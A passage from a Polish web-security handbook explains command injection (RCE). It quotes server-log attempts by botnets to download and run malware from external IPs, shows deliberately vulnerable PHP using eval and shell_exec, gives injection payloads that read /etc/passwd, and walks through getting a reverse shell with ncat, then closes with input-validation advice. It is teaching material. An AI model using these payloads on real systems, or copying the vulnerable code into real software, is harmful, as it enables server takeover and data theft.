Podręcznik
5. Wstrzykiwanie
5.4. Wstrzykiwanie poleceń (RCE)
Ostatnią kategorią wstrzykiwań jest wstrzykiwanie poleceń. Jest to rodzaj podatności, który umożliwia wykonywanie dowolnych poleceń po stronie serwera w kontekście użytkownika go uruchamiającego. Z punktu widzenia bezpieczeństwa jest to wyjątkowo niebezpieczna kategoria, która bardzo często prowadzi do przejęcia pełnej kontroli nad serwerem. Mechanizm działania jest identyczny jak poprzednio.
Przykłady takich prób bardzo często znajdujemy w logach serwerów WWW, gdyż skrypty, które automatycznie próbują wyszukać podatności nierzadko działają na ślepo bez sprawdzenia rodzaju serwera po drugiej stronie. Przykładowe próby wykorzystania podatności RCE w kamerach z rodziny StarCAM i routerach NetGear znalezione w logach serwera WWW:
X.X.X.X - - [21/May/2021:07:07:45 +0200] "GET /shell?cd+/tmp;rm+arm+arm7;wget+http:/\\/45.14.149.244/arm7;chmod+777+arm7;./arm7+starcam;wget+http:/\\/45.14.149.244/arm;chmod+777+arm;./arm+starcam
HTTP/1.1" 400 0 "-" "Pe7kata"
X.X.X.X - - [22/May/2021:07:37:33 +0200] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://117.221.184.161:49590/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
HTTP/1.0" 404 558 "-" "-"
Wektory ataku mogą być bardzo różne
- funkcja eval w środowisku PHP i podobnie działające funkcje w innych językach:
<?php
$name = $_GET["name"]
eval("echo $name;");
wydaje się niegroźnym kawałkiem kodu, ale korzysta z danych od użytkownika i wykonując zapytanie:
http://127.0.0.1:8088/evil-eval.php?name=123;system("ls -al")
otrzymamy
listing plików w katalogu wykonania:
- wykorzystanie mechanizmu wgrywania plików nie kontrolującego poprawnie rodzaju pliku i serwującego zwrotnie wgrane pliki (np. wgranie własnego skryptu). Whitelistowanie rozszerzeń pomaga, ale są techniki obejścia poprzez wspomniane wcześniej kodowanie nazw.
- uruchamianie zewnętrznego oprogramowania z niezweryfikowanymi danymi
<?php
echo shell_exec("nping -c 1 ".$_GET["ip"]);
oczekiwane zapytanie
http://127.0.0.1:8088/ping.php?ip=194.29.160.106
da oczekiwany efekt
Lecz jeśli je zmodyfikujemy na
http://127.0.0.1:8088/ping.php?ip=194.29.160.106 %26%26 head -n2 /etc/passwdotrzymamy zdalne wykonanie kodu

Jeśli znaleźliśmy tego typu podatność, to wersja katastrofalna umożliwi nam uzyskanie pełnego dostępu interaktywnego do zdalnej maszyny (reverse shell) w następujący sposób:
- na własnym serwerze uruchamiamy narzędzie netcat do nasłuchiwania na porcie 4242
ncat -l 4242
- a u ofiary wykonujemy zapytanie (poniższe podajemy jako jedna linia w oknie przeglądarki):
http://127.0.0.1:8088/ping.php?ip=194.29.160.106 %26%26 wget -O ncat https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat %26%26 chmod 755 ncat %26%26 ./ncat 10.22.20.1 4242 -e /bin/bashefektem jest pełny zdalny shell:

Jak bronić się przed tego typu podatnościami? Podstawową zasadą jest unikanie wykorzystywania niebezpiecznych funkcji, które mogą być wektorem ataku, a jeśli jest to konieczne bardzo ostrożne i dokładne walidowanie danych. Przykładowo, jeśli w naszym skrypcie oczekujemy adresu IP to należy sprawdzić czy przekazywana wartość jest tylko i wyłącznie poprawnym adresem IP.